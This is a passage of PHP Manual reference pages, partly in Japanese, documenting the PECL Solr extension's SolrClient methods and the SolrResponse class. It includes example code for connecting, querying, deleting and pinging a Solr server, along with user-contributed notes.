Go easy on your use of commit - use the <autocommit /> section solrconfig.xml instead.

Also consider using optimize() once a day if you are doing lots of adds/removes.


Constructor for the SolrClient object

  • ≪ SolrClient::commit
  • SolrClient::deleteById ≫
  • PHP Manual
  • SolrClient
  • Constructor for the SolrClient object

SolrClient::__construct

(PECL solr >= 0.9.2)

SolrClient::__construct — Constructor for the SolrClient object

説明

public SolrClient::__construct ( array $clientOptions )

Constructor for the SolrClient object

パラメータ

clientOptions

This is an array containing one of the following keys :

- secure          (Boolean value indicating whether or not to connect in secure mode)
 - hostname        (The hostname for the Solr server)
 - port            (The port number)
 - path            (The path to solr)
 - wt              (The name of the response writer e.g. xml, json)
 - login           (The username used for HTTP Authentication, if any)
 - password        (The HTTP Authentication password)
 - proxy_host      (The hostname for the proxy server, if any)
 - proxy_port      (The proxy port)
 - proxy_login     (The proxy username)
 - proxy_password  (The proxy password)
 - timeout         (This is maximum time in seconds allowed for the http data transfer operation. Default is 30 seconds)
 - ssl_cert        (File name to a PEM-formatted file containing the private key + private certificate (concatenated in that order) )
 - ssl_key         (File name to a PEM-formatted private key file only)
 - ssl_keypassword (Password for private key)
 - ssl_cainfo      (Name of file holding one or more CA certificates to verify peer with)
 - ssl_capath      (Name of directory holding multiple CA certificates to verify peer with )

 Please note the if the ssl_cert file only contains the private certificate, you have to specify a separate ssl_key file

 The ssl_keypassword option is required if the ssl_cert or ssl_key options are set.

エラー / 例外

Throws SolrIllegalArgumentException on failure.

例

例1 SolrClient::__construct() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_PATH_TO_SOLR,
    'wt'       => 'xml',
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

?>

上の例の出力は、 たとえば以下のようになります。

参考

  • SolrClient::getOptions() - Returns the client options set internally

User Contributed Notes

edwardtam at et-it dot net 12-Aug-2015 07:50
you can use 'path' to specify the 'core'.

<?php
    $core = 'dictionary';

    $solr_server = array
    (
        'hostname'     => 'localhost',
        'port'         => '8983',
        'path'         => 'solr/' . $core,
    );
    $solr_client = new SolrClient($solr_server);
?>


Delete by Id

  • ≪ SolrClient::__construct
  • SolrClient::deleteByIds ≫
  • PHP Manual
  • SolrClient
  • Delete by Id

SolrClient::deleteById

(PECL solr >= 0.9.2)

SolrClient::deleteById — Delete by Id

説明

public SolrClient::deleteById ( string $id ) : SolrUpdateResponse

Deletes the document with the specified ID. Where ID is the value of the uniqueKey field declared in the schema

パラメータ

id

The value of the uniqueKey field declared in the schema

返り値

Returns a SolrUpdateResponse on success and throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参考

  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

litzinger at gmail dot com 22-Aug-2011 02:47
May need to run commit() after a delete query.

<?php
$this->solrClient->deleteByQuery('id:'.$entryId);
$result = $this->solrClient->commit();
?>


Deletes by Ids

  • ≪ SolrClient::deleteById
  • SolrClient::deleteByQueries ≫
  • PHP Manual
  • SolrClient
  • Deletes by Ids

SolrClient::deleteByIds

(PECL solr >= 0.9.2)

SolrClient::deleteByIds — Deletes by Ids

説明

public SolrClient::deleteByIds ( array $ids ) : SolrUpdateResponse

Deletes a collection of documents with the specified set of ids.

パラメータ

ids

An array of IDs representing the uniqueKey field declared in the schema for each document to be deleted. This must be an actual php variable.

返り値

Returns a SolrUpdateResponse on success and throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参考

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


Removes all documents matching any of the queries

  • ≪ SolrClient::deleteByIds
  • SolrClient::deleteByQuery ≫
  • PHP Manual
  • SolrClient
  • Removes all documents matching any of the queries

SolrClient::deleteByQueries

(PECL solr >= 0.9.2)

SolrClient::deleteByQueries — Removes all documents matching any of the queries

説明

public SolrClient::deleteByQueries ( array $queries ) : SolrUpdateResponse

Removes all documents matching any of the queries

パラメータ

queries

The array of queries. This must be an actual php variable.

返り値

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参考

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query

User Contributed Notes

There are no user contributed notes for this page.


Deletes all documents matching the given query

  • ≪ SolrClient::deleteByQueries
  • SolrClient::__destruct ≫
  • PHP Manual
  • SolrClient
  • Deletes all documents matching the given query

SolrClient::deleteByQuery

(PECL solr >= 0.9.2)

SolrClient::deleteByQuery — Deletes all documents matching the given query

説明

public SolrClient::deleteByQuery ( string $query ) : SolrUpdateResponse

Deletes all documents matching the given query.

パラメータ

query

The query

返り値

Returns a SolrUpdateResponse on success and throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

例

例1 SolrQuery::deleteByQuery() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

//This will erase the entire index
$client->deleteByQuery("*:*");
$client->commit();

?>

参考

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


SolrClient に対するデストラクタ

  • ≪ SolrClient::deleteByQuery
  • SolrClient::getById ≫
  • PHP Manual
  • SolrClient
  • SolrClient に対するデストラクタ

SolrClient::__destruct

(PECL solr >= 0.9.2)

SolrClient::__destruct — SolrClient に対するデストラクタ

説明

public SolrClient::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

SolrClient に対するデストラクタ

参考

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Get Document By Id. Utilizes Solr Realtime Get (RTG)

  • ≪ SolrClient::__destruct
  • SolrClient::getByIds ≫
  • PHP Manual
  • SolrClient
  • Get Document By Id. Utilizes Solr Realtime Get (RTG)

SolrClient::getById

(PECL solr >= 2.2.0)

SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)

説明

public SolrClient::getById ( string $id ) : SolrQueryResponse

Get Document By Id. Utilizes Solr Realtime Get (RTG).

パラメータ

id

Document ID

返り値

SolrQueryResponse

例

例1 SolrClient::getById() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => ?是一个功能
                    [2] => This is a feature (translated)
                    [3] => ??文件是很有光?
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

参考

  • SolrClient::getByIds() - Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

  • ≪ SolrClient::getById
  • SolrClient::getDebug ≫
  • PHP Manual
  • SolrClient
  • Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

SolrClient::getByIds

(PECL solr >= 2.2.0)

SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

説明

public SolrClient::getByIds ( array $ids ) : SolrQueryResponse

Get Documents by their Ids. Utilizes Solr Realtime Get (RTG).

パラメータ

ids

Document ids

返り値

SolrQueryResponse

例

例1 SolrClient::getByIds() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getByIds(['GB18030TEST', '6H500F0']);

print_r($response->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [response] => SolrObject Object
        (
            [numFound] => 2
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => GB18030TEST
                            [name] => Array
                                (
                                    [0] => Test with some GB18030 encoded characters
                                )

                            [features] => Array
                                (
                                    [0] => No accents here
                                    [1] => ?是一个功能
                                    [2] => This is a feature (translated)
                                    [3] => ??文件是很有光?
                                    [4] => This document is very shiny (translated)
                                )

                            [price] => Array
                                (
                                    [0] => 0
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [_version_] => 1510294336239042560
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                )

        )

)

参考

  • SolrClient::getById() - Get Document By Id. Utilizes Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Returns the debug data for the last connection attempt

  • ≪ SolrClient::getByIds
  • SolrClient::getOptions ≫
  • PHP Manual
  • SolrClient
  • Returns the debug data for the last connection attempt

SolrClient::getDebug

(PECL solr >= 0.9.7)

SolrClient::getDebug — Returns the debug data for the last connection attempt

説明

public SolrClient::getDebug ( ) : string

Returns the debug data for the last connection attempt

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if there is nothing to return.

User Contributed Notes

There are no user contributed notes for this page.


Returns the client options set internally

  • ≪ SolrClient::getDebug
  • SolrClient::optimize ≫
  • PHP Manual
  • SolrClient
  • Returns the client options set internally

SolrClient::getOptions

(PECL solr >= 0.9.6)

SolrClient::getOptions — Returns the client options set internally

説明

public SolrClient::getOptions ( ) : array

Returns the client options set internally. Very useful for debugging. The values returned are readonly and can only be set when the object is instantiated.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array containing all the options for the SolrClient object set internally.

参考

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Defragments the index

  • ≪ SolrClient::getOptions
  • SolrClient::ping ≫
  • PHP Manual
  • SolrClient
  • Defragments the index

SolrClient::optimize

(PECL solr >= 0.9.2)

SolrClient::optimize — Defragments the index

説明

public SolrClient::optimize ( int $maxSegments = 1 , bool $softCommit = true , bool $waitSearcher = true ) : SolrUpdateResponse

Defragments the index for faster search performance.

パラメータ

maxSegments

Optimizes down to at most this number of segments. Since Solr 1.3

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

waitSearcher

Block until a new searcher is opened and registered as the main query searcher, making the changes visible.

返り値

Returns a SolrUpdateResponse on success or throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

注意

警告

PECL Solr >= 2.0 only supports Solr Server >= 4.0

Prior to PECL Solr 2.0 this method used to accept these arguments "int $maxSegments, bool $waitFlush, bool $waitSearcher".

参考

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

There are no user contributed notes for this page.


Checks if Solr server is still up

  • ≪ SolrClient::optimize
  • SolrClient::query ≫
  • PHP Manual
  • SolrClient
  • Checks if Solr server is still up

SolrClient::ping

(PECL solr >= 0.9.2)

SolrClient::ping — Checks if Solr server is still up

説明

public SolrClient::ping ( ) : SolrPingResponse

Checks if the Solr server is still alive. Sends a HEAD request to the Apache Solr server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a SolrPingResponse object on success and throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the request.

例

例1 SolrClient::ping() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$pingresponse = $client->ping();

?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

ricardo at forleven dot com 28-Jul-2017 04:39
class Search extends Solr
{
    protected $searchEngine;

    function __construct()
    {
        $this->searchEngine = $this->connect();
    }

    public function checkAlive()
    {
        $searchEngine = $this->searchEngine;

        if($searchEngine->ping())
        {
            return true;
        }
        else
        {
            return false;
        }
    }
}


Sends a query to the server

  • ≪ SolrClient::ping
  • SolrClient::request ≫
  • PHP Manual
  • SolrClient
  • Sends a query to the server

SolrClient::query

(PECL solr >= 0.9.2)

SolrClient::query — Sends a query to the server

説明

public SolrClient::query ( SolrParams $query ) : SolrQueryResponse

Sends a query to the server.

パラメータ

query

A SolrParams object. It is recommended to use SolrQuery for advanced queries.

返り値

Returns a SolrQueryResponse object on success and throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

例

例1 SolrClient::query() example

<?php

$options = array
(
    'hostname' => 'localhost',
    'login'    => 'username',
    'password' => 'password',
    'port'     => '8983',
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 3
            [params] => SolrObject Object
                (
                    [fl] => cat,features,id,timestamp
                    [indent] => on
                    [start] => 0
                    [q] => lucene
                    [wt] => xml
                    [version] => 2.2
                    [rows] => 50
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 1
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SOLR1000
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: hello (hello with an accent over the e)
                                )

                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Sends a raw update request

  • ≪ SolrClient::query
  • SolrClient::rollback ≫
  • PHP Manual
  • SolrClient
  • Sends a raw update request

SolrClient::request

(PECL solr >= 0.9.2)

SolrClient::request — Sends a raw update request

説明

public SolrClient::request ( string $raw_request ) : SolrUpdateResponse

Sends a raw XML update request to the server

パラメータ

raw_request

An XML string with the raw request to the server.

返り値

Returns a SolrUpdateResponse on success. Throws an exception on failure.

エラー / 例外

Throws SolrIllegalArgumentException if raw_request was an empty string

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

例

例1 SolrClient::request() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$update_response = $client->request("<commit/>");

$response = $update_response->getResponse();

print_r($response);
?>

上の例の出力は、 たとえば以下のようになります。

...

User Contributed Notes

There are no user contributed notes for this page.


Rollbacks all add/deletes made to the index since the last commit

  • ≪ SolrClient::request
  • SolrClient::setResponseWriter ≫
  • PHP Manual
  • SolrClient
  • Rollbacks all add/deletes made to the index since the last commit

SolrClient::rollback

(PECL solr >= 0.9.2)

SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit

説明

public SolrClient::rollback ( ) : SolrUpdateResponse

Rollbacks all add/deletes made to the index since the last commit. It neither calls any event listeners nor creates a new searcher.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a SolrUpdateResponse on success or throws a SolrClientException on failure.

参考

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::optimize() - Defragments the index

User Contributed Notes

There are no user contributed notes for this page.


Sets the response writer used to prepare the response from Solr

  • ≪ SolrClient::rollback
  • SolrClient::setServlet ≫
  • PHP Manual
  • SolrClient
  • Sets the response writer used to prepare the response from Solr

SolrClient::setResponseWriter

(PECL solr >= 0.9.11)

SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr

説明

public SolrClient::setResponseWriter ( string $responseWriter ) : void

Sets the response writer used to prepare the response from Solr

パラメータ

responseWriter

One of the following:

  • json
  • phps
  • xml

返り値

値を返しません。

例

例1 SolrClient::setResponseWriter() example

<?php

// This is my custom class for objects
class SolrClass
{
   public $_properties = array();

   public function __get($property_name) {

      if (property_exists($this, $property_name)) {

          return $this->$property_name;

      } else if (isset($_properties[$property_name])) {

          return $_properties[$property_name];
      }

      return null;
   }
}

$options = array
(
  'hostname' => 'localhost',
  'port' => 8983,
  'path' => '/solr/core1'
);

$client = new SolrClient($options);

$client->setResponseWriter("json");

//$response = $client->ping();

$query = new SolrQuery();

$query->setQuery("*:*");

$query->set("objectClassName", "SolrClass");

$query->set("objectPropertiesStorageMode", 1); // 0 for independent properties, 1 for combined

try
{

$response = $client->query($query);

$resp = $response->getResponse();

print_r($response);

print_r($resp);

} catch (Exception $e) {

print_r($e);

}

?>

User Contributed Notes

edwardtam at et-it dot net 12-Aug-2015 07:44
i found that 'php' is also supported.

<?php
$solr_server = array
(
    'hostname'     => $solr_hostname,
    'port'         => $solr_port,
    'path'         => $solr_path,
);
$solr_client = new SolrClient($solr_server);

$solr_response_writer = 'php'; // "wt"
$solr_client->setResponseWriter($solr_response_writer);

$solr_response = new SolrObject();

$solr_query = new SolrQuery();
$solr_query->setQuery($solr_query_string); // "q"

try {
    $query_response = $solr_client->query($solr_query);
    $solr_response = $query_response->getResponse();
    return '';
} catch (Exception $e) {
    return ($e);
}
?>

php_error.log keeps on saying:

[12-Aug-2015 12:34:56 Asia/Hong_Kong] PHP Warning:  SolrClient::setResponseWriter(): Unsupported response writer php. This value will be ignored in C:\www\...\solr.php on line 21

but the returned data is good as expected:

<?php
$html .= '<table cellSpacing="1" cellPadding="1" border="1">';
$html .= '<tr>';
$html .= '<td>id</td>';
$html .= '<td>title</td>';
$html .= '<td>score</td>';
$html .= '</tr>';

for ($i_solr = 0; $i_solr <= ($solr_rows - 1); $i_solr++) {
    $html .= '<tr>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['id'] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['title'][0] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['score'] . '</td>';
    $html .= '</tr>';
}
$html .= '</table>';
echo $html;
?>


Changes the specified servlet type to a new value

  • ≪ SolrClient::setResponseWriter
  • SolrClient::system ≫
  • PHP Manual
  • SolrClient
  • Changes the specified servlet type to a new value

SolrClient::setServlet

(PECL solr >= 0.9.2)

SolrClient::setServlet — Changes the specified servlet type to a new value

説明

public SolrClient::setServlet ( int $type , string $value ) : bool

Changes the specified servlet type to a new value

パラメータ

type

One of the following :

- SolrClient::SEARCH_SERVLET_TYPE
 - SolrClient::UPDATE_SERVLET_TYPE
 - SolrClient::THREADS_SERVLET_TYPE
 - SolrClient::PING_SERVLET_TYPE
 - SolrClient::TERMS_SERVLET_TYPE

value

The new value for the servlet

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve Solr Server information

  • ≪ SolrClient::setServlet
  • SolrClient::threads ≫
  • PHP Manual
  • SolrClient
  • Retrieve Solr Server information

SolrClient::system

(PECL solr >= 2.0.0)

SolrClient::system — Retrieve Solr Server information

説明

public SolrClient::system ( ) : void

Retrieve Solr Server information

パラメータ

この関数にはパラメータはありません。

返り値

Returns a SolrGenericResponse object on success.

エラー / 例外

Emits SolrClientException if the client failed, or there was a connection issue.

Emits SolrServerException if the Solr Server failed to satisfy the query.

User Contributed Notes

There are no user contributed notes for this page.


スレッドの状態をチェック

  • ≪ SolrClient::system
  • SolrResponse ≫
  • PHP Manual
  • SolrClient
  • スレッドの状態をチェック

SolrClient::threads

(PECL solr >= 0.9.2)

SolrClient::threads — スレッドの状態をチェック

説明

public SolrClient::threads ( ) : void

スレッドの状態をチェック

パラメータ

この関数にはパラメータはありません。

返り値

SolrGenericResponse オブジェクトを返します。

エラー / 例外

クライアントの処理が失敗した場合や接続に問題が発生した場合に SolrClientException をスローします。

Solr サーバーがリクエストの処理に失敗した場合に SolrServerException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


SolrResponse クラス

(PECL solr >= 0.9.2)

はじめに

Solr サーバーからのレスポンスを表現

クラス概要

abstract SolrResponse {
/* 定数 */
const int PARSE_SOLR_OBJ = 0 ;
const int PARSE_SOLR_DOC = 1 ;
/* プロパティ */
protected int $http_status ;
protected int $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* メソッド */
public getDigestedResponse ( ) : string
public getHttpStatus ( ) : int
public getHttpStatusMessage ( ) : string
public getRawRequest ( ) : string
public getRawRequestHeaders ( ) : string
public getRawResponse ( ) : string
public getRawResponseHeaders ( ) : string
public getRequestUrl ( ) : string
public getResponse ( ) : SolrObject
public setParseMode ( int $parser_mode = 0 ) : bool
public success ( ) : bool
}

プロパティ

http_status

レスポンスの HTTP ステータス

parser_mode

Solr 文書を SolrObject または SolrDocument インスタンスとしてパースするかどうか

success

リクエスト中にエラーがあったか

http_status_message

HTTP ステータスについての詳細メッセージ

http_request_url

リクエスト URL

http_raw_request_headers

リクエスト中に送信される生のヘッダ文字列

http_raw_request

サーバーに送信される生のリクエスト

http_raw_response_headers

Solr サーバーからのレスポンスヘッダ

http_raw_response

サーバーからのレスポンスメッセージ

http_digested_response

PHP シリアライズ形式でのレスポンス

定義済み定数

SolrResponse クラス定数

SolrResponse::PARSE_SOLR_OBJ

文書は、SolrObject インスタンスとしてパースされなければなりません

SolrResponse::PARSE_SOLR_DOC

文書は、SolrDocument インスタンスとしてパースされなければなりません

目次

  • SolrResponse::getDigestedResponse — シリアライズされた PHP データとして XML レスポンスを返す
  • SolrResponse::getHttpStatus — レスポンスの HTTP ステータスを返す
  • SolrResponse::getHttpStatusMessage — HTTP ステータスに関する詳細を返す
  • SolrResponse::getRawRequest — Solr サーバーに送られた生のリクエストを返す
  • SolrResponse::getRawRequestHeaders — Solr サーバーに送られた生のリクエストヘッダを返す
  • SolrResponse::getRawResponse — Solr サーバーからの生のレスポンスを返す
  • SolrResponse::getRawResponseHeaders — Solr サーバーからの生のレスポンスヘッダを返す
  • SolrResponse::getRequestUrl — リクエストが送られた完全な URL を返す
  • SolrResponse::getResponse — サーバーからの XML レスポンスを表現する SolrObject を返す
  • SolrResponse::setParseMode — パースモードを設定
  • SolrResponse::success — リクエストが成功したか

User Contributed Notes

There are no user contributed notes for this page.


シリアライズされた PHP データとして XML レスポンスを返す

  • ≪ SolrResponse
  • SolrResponse::getHttpStatus ≫
  • PHP Manual
  • SolrResponse
  • シリアライズされた PHP データとして XML レスポンスを返す

SolrResponse::getDigestedResponse

(PECL solr >= 0.9.2)

SolrResponse::getDigestedResponse — シリアライズされた PHP データとして XML レスポンスを返す

説明

public SolrResponse::getDigestedResponse ( ) : string

シリアライズされた PHP データとして XML レスポンスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

シリアライズされた PHP データとして XML レスポンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


レスポンスの HTTP ステータスを返す

  • ≪ SolrResponse::getDigestedResponse
  • SolrResponse::getHttpStatusMessage ≫
  • PHP Manual
  • SolrResponse
  • レスポンスの HTTP ステータスを返す

SolrResponse::getHttpStatus

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatus — レスポンスの HTTP ステータスを返す

説明

public SolrResponse::getHttpStatus ( ) : int

レスポンスの HTTP ステータスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

レスポンスの HTTP ステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


HTTP ステータスに関する詳細を返す

  • ≪ SolrResponse::getHttpStatus
  • SolrResponse::getRawRequest ≫
  • PHP Manual
  • SolrResponse
  • HTTP ステータスに関する詳細を返す

SolrResponse::getHttpStatusMessage

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatusMessage — HTTP ステータスに関する詳細を返す

説明

public SolrResponse::getHttpStatusMessage ( ) : string

HTTP ステータスに関する詳細を返します。

パラメータ

この関数にはパラメータはありません。

返り値

HTTP ステータスに関する詳細を返します。

User Contributed Notes

There are no user contributed notes for this page.


Solr サーバーに送られた生のリクエストを返す

  • ≪ SolrResponse::getHttpStatusMessage
  • SolrResponse::getRawRequestHeaders ≫
  • PHP Manual
  • SolrResponse
  • Solr サーバーに送られた生のリクエストを返す

SolrResponse::getRawRequest

(PECL solr >= 0.9.2)

SolrResponse::getRawRequest — Solr サーバーに送られた生のリクエストを返す

説明

public SolrResponse::getRawRequest ( ) : string

Solr サーバーに送られた生のリクエストを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Solr サーバーに送られた生のリクエストを返します。

User Contributed Notes

There are no user contributed notes for this page.


Solr サーバーに送られた生のリクエストヘッダを返す

  • ≪ SolrResponse::getRawRequest
  • SolrResponse::getRawResponse ≫
  • PHP Manual
  • SolrResponse
  • Solr サーバーに送られた生のリクエストヘッダを返す

SolrResponse::getRawRequestHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawRequestHeaders — Solr サーバーに送られた生のリクエストヘッダを返す

説明

public SolrResponse::getRawRequestHeaders ( ) : string

Solr サーバーに送られた生のリクエストヘッダを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Solr サーバーに送られた生のリクエストヘッダを返します。

User Contributed Notes

There are no user contributed notes for this page.


Solr サーバーからの生のレスポンスを返す

  • ≪ SolrResponse::getRawRequestHeaders
  • SolrResponse::getRawResponseHeaders ≫
  • PHP Manual
  • SolrResponse
  • Solr サーバーからの生のレスポンスを返す

SolrResponse::getRawResponse

(PECL solr >= 0.9.2)

SolrResponse::getRawResponse — Solr サーバーからの生のレスポンスを返す

説明

public SolrResponse::getRawResponse ( ) : string

Solr サーバーからの生のレスポンスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Solr サーバーからの生のレスポンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


Solr サーバーからの生のレスポンスヘッダを返す

  • ≪ SolrResponse::getRawResponse
  • SolrResponse::getRequestUrl ≫
  • PHP Manual
  • SolrResponse
  • Solr サーバーからの生のレスポンスヘッダを返す

SolrResponse::getRawResponseHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawResponseHeaders — Solr サーバーからの生のレスポンスヘッダを返す

説明

public SolrResponse::getRawResponseHeaders ( ) : string

Solr サーバーからの生のレスポンスヘッダを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Solr サーバーからの生のレスポンスヘッダを返します。

User Contributed Notes

There are no user contributed notes for this page.


リクエストが送られた完全な URL を返す

  • ≪ SolrResponse::getRawResponseHeaders
  • SolrResponse::getResponse ≫
  • PHP Manual
  • SolrResponse
  • リクエストが送られた完全な URL を返す

SolrResponse::getRequestUrl

(PECL solr >= 0.9.2)

SolrResponse::getRequestUrl — リクエストが送られた完全な URL を返す

説明

public SolrResponse::getRequestUrl ( ) : string

リクエストが送られた完全な URL を返します。

パラメータ

この関数にはパラメータはありません。

返り値

リクエストが送られた完全な URL を返します。

User Contributed Notes

There are no user contributed notes for this page.


サーバーからの XML レスポンスを表現する SolrObject を返す

  • ≪ SolrResponse::getRequestUrl
  • SolrResponse::setParseMode ≫
  • PHP Manual
  • SolrResponse
  • サーバーからの XML レスポンスを表現する SolrObject を返す

SolrResponse::getResponse

(PECL solr >= 0.9.2)

